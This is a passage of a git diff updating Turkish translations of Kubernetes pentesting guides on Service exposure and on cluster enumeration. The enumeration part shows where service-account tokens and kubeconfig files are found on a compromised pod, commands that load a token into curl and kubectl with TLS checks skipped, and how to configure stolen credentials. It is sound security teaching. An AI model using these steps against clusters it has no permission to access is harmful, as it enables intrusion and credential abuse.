değildir. -- `sessionAffinity: ClientIP` bir client’tan yapılan tekrarlı testlerin aynı backend’e düşmesini sağlayabilir ve manuel kontroller sırasında diğer hazır endpoints’i gizleyebilir. -- `trafficDistribution` ve EndpointSlice topology hints, yeni clusters üzerinde aynı-zone veya aynı-node endpoints’i tercih edebilir; bunları hard security policy yerine routing preference olarak değerlendirin. +- NodePort’lar normalde node adreslerinde expose edilir, ancak kube-proxy, `--nodeport-addresses` veya kendi configuration içindeki `nodePortAddresses` ile address aralıklarını kısıtlayabilir. NodePort’un her node IP’sinde reachable olduğunu varsaymadan önce aktif kube-proxy veya CNI service-proxy replacement configuration’ını kontrol edin. +- `externalTrafficPolicy: Local`, NodePort/LoadBalancer traffic için orijinal client source IP’sini korur ve diğer node’lardaki endpoints’e forwarding yapmaz. Local ready endpoint’i olmayan bir node, Service’in başka yerlerde endpoints’i olsa bile traffic’i drop edebilir. +- `externalTrafficPolicy: Cluster` default’tur ve herhangi bir node üzerinden forward edebilir, ancak backend logs gerçek external client IP’si yerine node IP’lerini görebilir. +- `internalTrafficPolicy: Local`, cluster içi Service traffic’ini source node üzerindeki local endpoints ile sınırlar. Bu, locality routing’dir; authorization boundary değildir. +- `sessionAffinity: ClientIP`, tek bir client’tan yapılan tekrar eden testlerin aynı backend’e gitmesine neden olabilir ve manuel checks sırasında diğer ready endpoints’i gizleyebilir. +- `trafficDistribution` ve EndpointSlice topology hints, yeni clusters’ta aynı-zone veya aynı-node endpoints’i tercih edebilir; bunları hard security policy yerine routing preference olarak değerlendirin. ### LoadBalancer -Service’i harici olarak **cloud provider'ın load balancer'ını kullanarak** açar. GKE üzerinde bu, tüm trafiği service’inize forward edecek tek bir IP address sağlayan bir [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) başlatır. AWS’de ise bir Load Balancer başlatır. +Service’i dışarıya **bir cloud provider’ın load balancer’ını kullanarak** expose eder. GKE’de bu, tüm traffic’i service’inize forward edecek tek bir IP address sağlayan bir [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) başlatır. AWS’de bir Load Balancer başlatır. -Açığa çıkarılan her service için bir LoadBalancer için ödeme yapmanız gerekir; bu pahalı olabilir. +Expose edilen her service için bir LoadBalancer için ödeme yapmanız gerekir; bu pahalı olabilir. -Tüm LoadBalancers’ları listeleyin: +Tüm LoadBalancers’ı listele: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer ``` ### External IPs > [!TIP] -> External IPs, Load Balancers tipindeki services tarafından expose edilir ve genellikle bir external Cloud Provider Load Balancer kullanıldığında kullanılır. +> External IPs, Load Balancers türündeki services tarafından expose edilir ve genellikle external Cloud Provider Load Balancer kullanıldığında kullanılır. > -> Bunları bulmak için, `EXTERNAL-IP` alanında değerleri olan load balancer'ları kontrol edin. +> Bunları bulmak için, `EXTERNAL-IP` alanında değer olan load balancers'ları kontrol edin. -**external IP** ile cluster'a giren traffic, Service portunda, **Service endpoints**'ten birine **routed** edilir. `externalIPs`, Kubernetes tarafından yönetilmez ve cluster administrator'ın sorumluluğundadır. +Cluster içine **external IP** ile (**destination IP** olarak), Service portunda giren traffic, **Service endpoint'lerinden birine yönlendirilir**. `externalIPs`, Kubernetes tarafından yönetilmez ve cluster administrator'ının sorumluluğundadır. -`externalIPs`, hassas bir route-control alanıdır çünkü onu ayarlayabilen bir kullanıcı, çevredeki network bu IP'yi cluster'a route ediyorsa, Service sahibinin kontrol etmemesi gereken bir IP address için traffic'i sahiplenebilir. Kubernetes, v1.36'da Service `externalIPs` için deprecation ve planlanan removal duyurdu; bu yüzden mümkün olduğunda LoadBalancer integrations veya Gateway API gibi controller-owned exposure mekanizmalarını tercih edin ve bu alan var olmaya devam ederken onu dikkatle restrict/admit edin. +`externalIPs`, sensitive bir route-control alanıdır çünkü bunu ayarlayabilen bir user, çevredeki network bu IP'yi cluster'a route ediyorsa, Service owner'ının kontrol etmemesi gereken bir IP address için traffic talep edebilir. Kubernetes, v1.36'da Service `externalIPs` için deprecation ve planned removal duyurdu; bu yüzden mümkün olduğunda LoadBalancer integrations veya Gateway API gibi controller-owned exposure mechanisms tercih edin ve bu alanı hâlâ mevcutken dikkatlice restrict/admit edin. -Service spec içinde, `externalIPs`, herhangi bir `ServiceTypes` ile birlikte belirtilebilir. Aşağıdaki örnekte, "`my-service`", "`80.11.12.10:80`" (`externalIP:port`) üzerindeki clients tarafından erişilebilir. +Service spec içinde, `externalIPs` herhangi bir `ServiceTypes` ile birlikte belirtilebilir. Aşağıdaki örnekte, "`my-service`", "`80.11.12.10:80`" (`externalIP:port`) üzerindeki clients tarafından erişilebilir. ```yaml apiVersion: v1 kind: Service @@ -134,9 +135,9 @@ externalIPs: ``` ### ExternalName -[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName türündeki Services, bir Service'i tipik bir selector olan `my-service` veya `cassandra` yerine bir DNS adına **map eder**. Bu Services'leri `spec.externalName` parametresiyle belirtirsiniz. +[**Dokümanlardan:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalName tipindeki Services, tipik bir selector olan `my-service` veya `cassandra` yerine, bir Service’i bir DNS adına **map eder**. Bu Services’leri `spec.externalName` parametresi ile belirtirsiniz. -Örneğin, bu Service tanımı `prod` namespace'indeki `my-service` Service'ini `my.database.example.com` adresine map eder: +Örneğin, bu Service tanımı `prod` namespace’indeki `my-service` Service’ini `my.database.example.com` adresine map eder: ```yaml apiVersion: v1 kind: Service @@ -147,32 +148,34 @@ spec: type: ExternalName externalName: my.database.example.com ``` -Ana makine `my-service.prod.svc.cluster.local` sorgulandığında, cluster DNS Service `my.database.example.com` değerine sahip bir `CNAME` kaydı döndürür. `my-service`e erişmek, diğer Services ile aynı şekilde çalışır; ancak kritik fark, **yönlendirme proxying veya forwarding ile değil, DNS seviyesinde gerçekleşir**. +`my-service.prod.svc.cluster.local` hostuna bakıldığında, cluster DNS Service `my.database.example.com` değerine sahip bir `CNAME` kaydı döndürür. `my-service`e erişim, diğer Services ile aynı şekilde çalışır ancak kritik fark şudur: **yönlendirme proxying veya forwarding ile değil, DNS seviyesinde gerçekleşir**. -Tüm ExternalNames listesini verin: +Security review notu: bir Ingress controller, Gateway implementation, service mesh veya application bir ExternalName Service'i backend olarak kabul ederse, controller kendi network konumundan external name'i resolve edip erişebilir. Bu, kullanıcılar hem route object'i hem de ExternalName Service'i oluşturabildiğinde internal-only services'i public routing infrastructure üzerinden açığa çıkarabilir. Bunu güvenli varsaymadan önce belirli controller implementation ve version'ını, ExternalName support flags veya allowlists, route status ve tam target domain'i inceleyin. Örneğin, Skipper v0.24.0'da ExternalName backend'lerini varsayılan olarak devre dışı bırakarak ve bir allowlist seçeneğini belgeleyerek bir Kubernetes ExternalName SSRF issue'sunu yamaladı. + +Tüm ExternalName'leri listele: ```bash kubectl get services --all-namespaces | grep ExternalName ``` ### EndpointSlices -EndpointSlices, bir Service’in şu anda yönlendirme yaptığı somut backend adreslerini ve portlarını gösterir. Özellikle bir Service’in selector’ı yoksa, labels trafik yolunu açıklamıyorsa veya yalnızca bazı backend’ler hazırsa faydalıdır. +EndpointSlices, bir Service’in şu anda yönlendirdiği somut backend address ve portları gösterir. Özellikle bir Service’in selector’ü olmadığında, labels trafik yolunu açıklamadığında veya yalnızca bazı backend’ler ready olduğunda kullanışlıdır. -Service’lerle ilişkili EndpointSlices’ları listele: +Services ile ilişkili EndpointSlices’ları listele: ```bash kubectl get endpointslices --all-namespaces kubectl get endpointslice -n -l kubernetes.io/service-name= -o yaml kubectl get endpointslice -n -l kubernetes.io/service-name= \ -o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port' ``` -Exposure’u incelerken, Service selector’ını EndpointSlice `targetRef`, endpoint addresses, readiness conditions ve ports ile karşılaştırın. Selectorless bir Service, manuel olarak yönetilen EndpointSlice’larla eşleştirilebilir ve trafiği non-Pod veya beklenmedik hedeflere yönlendirebilir. +Exposure incelemesi yaparken, Service selector ile EndpointSlice `targetRef`, endpoint addresses, readiness conditions ve ports öğelerini karşılaştırın. selectorless bir Service, elle yönetilen EndpointSlices ile eşleştirilebilir ve trafiği non-Pod ya da beklenmedik destination'lara yönlendirebilir. ### Ingress -Yukarıdaki tüm örneklerden farklı olarak, **Ingress bir service türü DEĞİLDİR**. Bunun yerine, **birden fazla service’in önünde** yer alır ve cluster’ınıza giriş noktası veya “smart router” olarak hareket eder. +Yukarıdaki tüm örneklerden farklı olarak, **Ingress bir service tipi DEĞİLDİR**. Bunun yerine, **birden fazla service'in önünde** durur ve cluster'ınıza giriş noktası olarak bir “smart router” gibi davranır. -Ingress ile birçok farklı şey yapabilirsiniz ve **farklı yeteneklere sahip birçok Ingress controller türü** vardır. +Ingress ile birçok farklı şey yapabilirsiniz ve **farklı yeteneklere sahip birçok Ingress controller tipi vardır**. -Default GKE ingress controller sizin için bir [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) başlatır. Bu, path bazlı ve subdomain bazlı routing’i backend services’e yapmanıza olanak tanır. Örneğin, foo.yourdomain.com altındaki her şeyi foo service’ine, yourdomain.com/bar/ path’i altındaki her şeyi bar service’ine gönderebilirsiniz. +Varsayılan GKE ingress controller, sizin için bir [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) başlatır. Bu, backend services'e path based ve subdomain based routing yapmanızı sağlar. Örneğin, foo.yourdomain.com üzerindeki her şeyi foo service'e, yourdomain.com/bar/ path'i altındaki her şeyi de bar service'e gönderebilirsiniz. GKE üzerinde bir [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) kullanan bir Ingress object için YAML şöyle görünebilir: ```yaml @@ -208,37 +211,46 @@ name: bar port: number: 8080 ``` -Tüm ingress’leri listele: +Tüm ingress'leri listeleyin: ```bash kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status' ``` -Her ne kadar bu durumda her birinin bilgisini tek tek almak, daha iyi okumak için daha iyi olsa da: +Her ne kadar bu durumda, daha iyi okumak için her birinin bilgisini tek tek almak daha iyi olsa da: ```bash kubectl get ingresses --all-namespaces -o=yaml ``` ### Gateway API -Gateway API, Services’i dışa açmak için kullanılan daha yeni Kubernetes API’sidir. Infrastructure-owned Gateway nesnelerini, HTTPRoute gibi application-owned Route nesnelerinden ayırır. Bu, delegation için faydalıdır; ancak exposure’ın namespace’ler arasında bölünebilmesi anlamına da gelir. +Gateway API, Services'i dışa açmak için kullanılan daha yeni Kubernetes API'sidir. Altyapı sahibi Gateway nesnelerini, HTTPRoute gibi uygulama sahibi Route nesnelerinden ayırır. Bu, delegation için faydalıdır, ancak aynı zamanda exposure'ın namespace'ler arasında bölünebileceği anlamına gelir. -Gateway API exposure objects’larını listeleyin: +Gateway API exposure nesnelerini listeleyin: ```bash kubectl get gatewayclasses kubectl get gateways --all-namespaces kubectl get httproutes --all-namespaces +kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces +kubectl get referencegrants --all-namespaces +kubectl get backendtlspolicies --all-namespaces kubectl get gateway -n -o yaml kubectl get httproute -n -o yaml ``` -Gateway listeners, allowed route namespaces, Route `parentRefs`, hostnames, filters, backend references, ve status conditions such as whether the route was accepted. Shared bir Gateway tarafından accepted edilen bir Route, legacy Ingress object olmasa bile bir backend’i expose edebilir. +Gateway listeners, allowed route namespaces, Route `parentRefs`, hostname'ler veya SNI eşleşmeleri, filters, backend references ve `Accepted`, `ResolvedRefs` ile `Programmed` gibi status conditions'ları kontrol edin. Paylaşılan bir Gateway tarafından accepted edilen bir Route, legacy bir Ingress object olmasa bile bir backend'i expose edebilir. + +Sadece HTTPRoute'u kontrol etmeyin. GRPCRoute, TLSRoute, TCPRoute ve UDPRoute; admin portlar, brokers, databases, service-mesh gateways veya pass-through TLS backends gibi HTTP olmayan service'leri expose edebilir. Ayrıca namespace'ler arası backend veya certificate references için `ReferenceGrant` object'lerini ve Gateway'in backend Services'e bağlanırken kullandığı TLS identity için `BackendTLSPolicy`'yi de inceleyin. Backend TLS policy tek başına public reachability kanıtı değildir, ancak programmed bir Gateway route'unun ready bir Service'e zayıf, shared veya yanlış backend identity validation ile ulaştığını gösteren yararlı bir kanıttır. ### References - [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0) - [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/) +- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/) - [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/) - [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/) - [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/) - [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/) - [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) - [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/) +- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/) +- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/) +- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index 8f79c0685..c43dce01d 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -4,24 +4,24 @@ ## Kubernetes Tokens -Eğer compromised olmuş bir makineye erişiminiz varsa, kullanıcı bazı Kubernetes platformlarına erişime sahip olabilir. Token genellikle **env var `KUBECONFIG`** tarafından işaret edilen bir dosyada veya **`~/.kube`** içinde bulunur. +Eğer bir makineye yetkisiz erişim sağladıysanız, kullanıcı bazı Kubernetes platformlarına erişime sahip olabilir. Token genellikle **env var `KUBECONFIG`** tarafından işaret edilen bir dosyada ya da **`~/.kube` içinde** bulunur. -Bu klasörde, **API server’a bağlanmak için tokenlar ve configurations** içeren config dosyaları bulabilirsiniz. Ayrıca bu klasörde daha önce alınmış bilgileri içeren bir cache klasörü de bulabilirsiniz. +Bu klasörde, **API server**’a bağlanmak için **tokens ve configurations** içeren config dosyaları bulabilirsiniz. Ayrıca bu klasörde daha önce alınmış bilgileri içeren bir cache klasörü de bulabilirsiniz. -Eğer Kubernetes ortamı içindeki bir pod’u compromised ettiyseniz, mevcut K8 env için token ve bilgi bulabileceğiniz başka yerler de vardır: +Bir kubernetes ortamı içindeki bir pod’u ele geçirdiyseniz, mevcut K8 env hakkında tokenlar ve bilgi bulabileceğiniz başka yerler de vardır: ### Service Account Tokens -Devam etmeden önce, Kubernetes’te bir service’in ne olduğunu bilmiyorsanız, **bu linki takip edip en azından Kubernetes architecture hakkındaki bilgileri okumanızı öneririm.** +Devam etmeden önce, Kubernetes’te service’in ne olduğunu bilmiyorsanız, **bu linki takip edip en azından Kubernetes architecture hakkındaki bilgileri okumanızı** öneririm. -Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server)’dan alınmıştır: +Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) kaynağından alınmıştır: _“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_ -**ServiceAccount**, Kubernetes tarafından yönetilen ve pod içinde çalışan process’lere bir identity sağlamak için kullanılan bir object’tir.\ -Her service account’un ona bağlı bir secret’ı vardır ve bu secret bir bearer token içerir. Bu, iki taraf arasında claims’i güvenli şekilde temsil etme yöntemi olan bir JSON Web Token (JWT)’dır. +**ServiceAccount**, Kubernetes tarafından yönetilen ve bir pod içinde çalışan process’lere kimlik sağlamak için kullanılan bir object’tir.\ +Her service account’un onunla ilişkili bir secret’ı vardır ve bu secret bir bearer token içerir. Bu, iki taraf arasında claims’i güvenli şekilde temsil etme yöntemlerinden biri olan JSON Web Token (JWT)’dir. -Genellikle aşağıdaki dizinlerden **biri**: +Genellikle şu dizinlerden **biri**: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` @@ -29,25 +29,25 @@ Genellikle aşağıdaki dizinlerden **biri**: şu dosyaları içerir: -- **ca.crt**: kubernetes communications’ı kontrol etmek için ca certificate +- **ca.crt**: kubernetes communications’i kontrol etmek için kullanılan ca certificate - **namespace**: mevcut namespace’i belirtir -- **token**: mevcut pod’un **service token**’ını içerir +- **token**: mevcut pod’un **service token**’ını içerir. -Artık token’a sahip olduğunuza göre, API server’ı **`KUBECONFIG`** environment variable’ı içinde bulabilirsiniz. Daha fazla bilgi için `(env | set) | grep -i "kuber|kube`**`"`** komutunu çalıştırın +Artık token’a sahip olduğunuza göre, **`KUBECONFIG`** environment variable içinde API server’ı bulabilirsiniz. Daha fazla bilgi için `(env | set) | grep -i "kuber|kube`**`"`** çalıştırın Service account token, **sa.key** dosyasında bulunan key ile imzalanır ve **sa.pub** tarafından doğrulanır. -**Kubernetes** üzerindeki varsayılan konum: +**Kubernetes** üzerinde varsayılan konum: - /etc/kubernetes/pki -**Minikube** üzerindeki varsayılan konum: +**Minikube** üzerinde varsayılan konum: - /var/lib/localkube/certs ### Hot Pods -_**Hot pods are**_ privileged bir service account token içeren pods’tur. Privileged service account token, secrets listeleme, pod oluşturma vb. privileged görevleri yapma iznine sahip olan token’dır. +_**Hot pods are**_ privileged bir service account token içeren pod’lardır. Privileged service account token, secrets listelemek, pod oluşturmak vb. privileged görevleri yapma iznine sahip bir tokendir. ## RBAC @@ -55,35 +55,35 @@ Eğer **RBAC** ne olduğunu bilmiyorsanız, **bu bölümü okuyun**. ## GUI Applications -- **k9s**: terminalden bir kubernetes cluster’ını enumerate eden bir GUI. Komutlar için[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/) kontrol edin. `:namespace` yazın ve ardından tüm namespace’lerde resource’ları aramak için all seçin. -- **k8slens**: birkaç ücretsiz deneme günü sunar: [https://k8slens.dev/](https://k8slens.dev/) +- **k9s**: terminalden bir kubernetes cluster’ını enumerate eden bir GUI. Komutlar için [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/) kontrol edin. `:namespace` yazın ve tüm namespace’lerde resource’ları aramak için select all yapın. +- **k8slens**: Bazı ücretsiz deneme günleri sunar: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet -Bir K8s ortamını enumerate etmek için birkaç şeye ihtiyacınız vardır: +Bir K8s environment’ını enumerate etmek için birkaç şeye ihtiyacınız vardır: -- Geçerli bir authentication token. Önceki bölümde bir user token ve bir service account token nerede aranacağını gördük. -- Kubernetes API’sinin **adresi (**_**https://host:port**_**) . Bu genellikle environment variables içinde ve/veya kube config dosyasında bulunabilir. -- **Opsiyonel**: API server’ı doğrulamak için **ca.crt**. Bu, token’ın bulunabildiği aynı yerlerde bulunabilir. API server certificate’ını doğrulamak için kullanışlıdır, ancak `kubectl` ile `--insecure-skip-tls-verify` veya `curl` ile `-k` kullanırsanız buna ihtiyacınız olmaz. +- Bir **valid authentication token**. Önceki bölümde kullanıcı token’ı ve service account token’ı için nerede arama yapacağımızı gördük. +- Kubernetes API’nin **address (**_**https://host:port**_**)i**. Bu genellikle environment variables içinde ve/veya kube config dosyasında bulunabilir. +- **Optional**: API server’ı doğrulamak için **ca.crt**. Bu, token’ın bulunabildiği aynı yerlerde bulunabilir. Bu, API server certificate’ını doğrulamak için faydalıdır; ancak `kubectl` ile `--insecure-skip-tls-verify` veya `curl` ile `-k` kullanırsanız buna ihtiyaç duymazsınız. -Bu detaylarla **kubernetes enumerate** edebilirsiniz. Eğer herhangi bir nedenle **API**, **Internet** üzerinden **erişilebilir** durumdaysa, o bilgiyi indirip platformu kendi host’unuzdan enumerate edebilirsiniz. +Bu detaylarla **kubernetes**’i enumerate edebilirsiniz. Eğer **API** bir şekilde **Internet** üzerinden **erişilebilir** durumdaysa, bu bilgiyi indirip platformu kendi host’unuzdan enumerate edebilirsiniz. -Ancak genellikle **API server internal network** içindedir, bu nedenle ona kendi makinenizden erişmek için compromised makine üzerinden bir **tunnel oluşturmanız** gerekir ya da [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary’sini **upload** edebilir veya API server’a raw HTTP requests yapmak için **`curl/wget/anything`** kullanabilirsiniz. +Ancak genellikle **API server** dahili bir network içindedir; bu nedenle ona kendi makinenizden erişmek için ele geçirilmiş makine üzerinden bir **tunnel** oluşturmanız gerekir ya da **kubectl** binary’sini yükleyebilir veya API server’a ham HTTP request’leri göndermek için **`curl/wget/anything`** kullanabilirsiniz. ### Differences between `list` and `get` verbs -**`get`** permissions ile belirli asset’lerin bilgilerine erişebilirsiniz (_`kubectl`_ içindeki `describe` option’u_) API: +**`get`** permissions ile belirli assets hakkındaki bilgilere erişebilirsiniz (_`kubectl` içindeki `describe` option’u_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -Eğer **`list`** iznine sahipseniz, bir asset türünü listelemek için API istekleri çalıştırmanıza izin verilir (_`kubectl` içinde `get` seçeneği_): +Eğer **`list`** izniniz varsa, bir varlık türünü listelemek için API istekleri yapmanıza izin verilir (_`kubectl`_ içindeki `get` seçeneği_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` -Eğer **`watch`** izniniz varsa, varlıkları izlemek için API istekleri gerçekleştirebilirsiniz: +Eğer **`watch`** iznine sahipseniz, varlıkları izlemek için API istekleri yapmanıza izin verilir: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true @@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` -Bir Deployment değiştiğinde (veya yenisi oluşturulduğunda) size tam manifesti döndüren bir streaming connection açarlar. +Değiştiğinde (veya yeni bir tane oluşturulduğunda) size bir Deployment’ın tam manifestini döndüren bir streaming connection açarlar. > [!CAUTION] -> Aşağıdaki `kubectl` komutları yalnızca objeleri nasıl listeleyeceğinizi gösterir. Verilere erişmek istiyorsanız `get` yerine `describe` kullanmanız gerekir +> Aşağıdaki `kubectl` commands, yalnızca objects nasıl listelenir onu gösterir. Verilere erişmek istiyorsanız `get` yerine `describe` kullanmanız gerekir ### Using curl -Bir pod içinden birkaç env variable kullanabilirsiniz: +Bir pod içinden birkaç env variables kullanabilirsiniz: ```bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount @@ -109,21 +109,21 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> Varsayılan olarak pod, **`kubernetes.default.svc`** domain name içinde **kube-api server**'a **access** edebilir ve kube network'ünü **`/etc/resolv.config`** içinde görebilirsiniz; burada kubernetes DNS server adresini bulursunuz (aynı aralığın ".1" adresi kube-api endpoint'dir). +> Varsayılan olarak pod, alan adı **`kubernetes.default.svc`** içinde **kube-api server**’a **erişebilir** ve kube network’ü **`/etc/resolv.config`** içinde görebilirsiniz; burada kubernetes DNS server adresini bulacaksınız (aynı aralığın ".1" adresi kube-api endpoint’idir). ### Using kubectl -Token ve API server address'e sahip olduktan sonra, aşağıda belirtildiği gibi ona access etmek için kubectl veya curl kullanırsınız: +Token ve API server adresine sahip olduğunuzda, burada gösterildiği gibi ona erişmek için kubectl veya curl kullanırsınız: -Varsayılan olarak, APISERVER `https://` schema ile iletişim kurar +Varsayılan olarak, APISERVER `https://` schema ile iletişim kuruyor ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` > url'de `https://` yoksa, Bad Request gibi bir Hata alabilirsiniz. -Bir [**official kubectl cheatsheet burada**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) bulabilirsiniz. Aşağıdaki bölümlerin amacı, erişim sağladığınız yeni K8s'i enumerate etmek ve anlamak için farklı seçenekleri sıralı bir şekilde sunmaktır. +Bir [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) bulabilirsiniz. Aşağıdaki bölümlerin amacı, erişim elde ettiğiniz yeni K8s'i enumerate etmek ve anlamak için farklı seçenekleri sıralı bir şekilde sunmaktır. -`kubectl`'in gönderdiği HTTP request'i bulmak için `-v=8` parametresini kullanabilirsiniz +`kubectl`'un gönderdiği HTTP request'i bulmak için `-v=8` parametresini kullanabilirsiniz #### MitM kubectl - Proxyfying kubectl ```bash @@ -150,7 +150,7 @@ kubectl config set-context --current --namespace= {{#endtab }} {{#endtabs }} -Eğer bazı kullanıcıların kimlik bilgilerini çalmayı başardıysan, bunları şu tarz bir şeyle **yerel olarak yapılandırabilirsin**: +Eğer bazı kullanıcı kimlik bilgilerini çalmayı başardıysan, bunları aşağıdakine benzer bir şey kullanarak **yerel olarak yapılandırabilirsin**: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ @@ -161,9 +161,9 @@ kubectl config set-credentials USER_NAME \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) ``` -### Desteklenen Kaynakları Getir +### Desteklenen Resources'ları Al -Bu bilgiyle listeleyebileceğiniz tüm servisleri bileceksiniz +Bu bilgiyle listeleyebileceğiniz tüm services'ları bileceksiniz {{#tabs }} {{#tab name="kubectl" }} @@ -176,18 +176,44 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace ### Kontrol edilmeye değer Object metadata -Bir object okuyabildiğinde, yalnızca tablo çıktısına veya `describe`'a güvenmek yerine tam YAML ya da JSON export et. En faydalı security context, çoğu zaman farklı resource türlerinde bulunan genel object alanlarında yer alır: +Bir object'i okuyabildiğinizde, yalnızca tablo çıktısına veya `describe`'a güvenmek yerine tam YAML veya JSON export edin. En faydalı security bağlamı çoğu zaman birçok resource type'ta ortak olan genel object alanlarında bulunur: ```bash kubectl get pod -n -o yaml kubectl get deploy -n -o json | jq '.metadata, .spec, .status' kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' ``` -- `metadata.uid`, `name`, `namespace`, `apiVersion` ve `kind` tam objeyi tanımlar ve farklı `namespace` veya API gruplarındaki aynı isimli objeler arasındaki karışıklığı önler. -- `metadata.labels` ve selectors, Services, Deployments, ReplicaSets, Pods, NetworkPolicies ve automation arasındaki bağlantıyı kurar. Selectors'ı takip etmek, bir Service için gerçek backend podlarını belirlemenin çoğu zaman en hızlı yoludur. -- `metadata.annotations`, ingress davranışı, cloud load balancer ayarları, GitOps veya Helm metadata'sı, policy exemptions ve service mesh yapılandırması gibi operasyonel bağlamı leak edebilir. İçlerinde secrets olmamalıdır, ancak gerçek cluster'lar sık sık orada faydalı ipuçları açığa çıkarır. -- `metadata.ownerReferences` controller soyunu gösterir. Bir Pod, bir Deployment tarafından owned edilen bir ReplicaSet tarafından owned ediliyorsa, yalnızca Pod'u değiştirmek veya silmek genellikle kaynağı düzeltmez. -- `metadata.finalizers` ve `metadata.deletionTimestamp`, silinmede takılı kalan resources'u açıklar ve cleanup controllers veya persistence/disruption tricks'i ortaya çıkarabilir. -- `status`, Events ve conditions, node yerleşimini, pod IP'lerini, image ID'lerini, hata mesajlarını, scheduling sorunlarını, admission denials'ı ve controller ilerlemesini açığa çıkarabilir. Bunlar faydalı ipuçlarıdır, ancak bir aksiyonu kimin gerçekleştirdiğini kanıtlamak için yine de audit logs gerekir. +- `metadata.uid`, `name`, `namespace`, `apiVersion` ve `kind` tam nesneyi tanımlar ve farklı namespaces ya da API groups içindeki aynı ada sahip nesneler arasında karışıklığı önler. +- `metadata.labels` ve selectors, Services, Deployments, ReplicaSets, Pods, NetworkPolicies ve automation arasında bağlantı kurar. Selectors’ları takip etmek çoğu zaman bir Service için gerçek backend pods’u belirlemenin en hızlı yoludur. +- `metadata.annotations`, ingress davranışı, cloud load balancer ayarları, GitOps veya 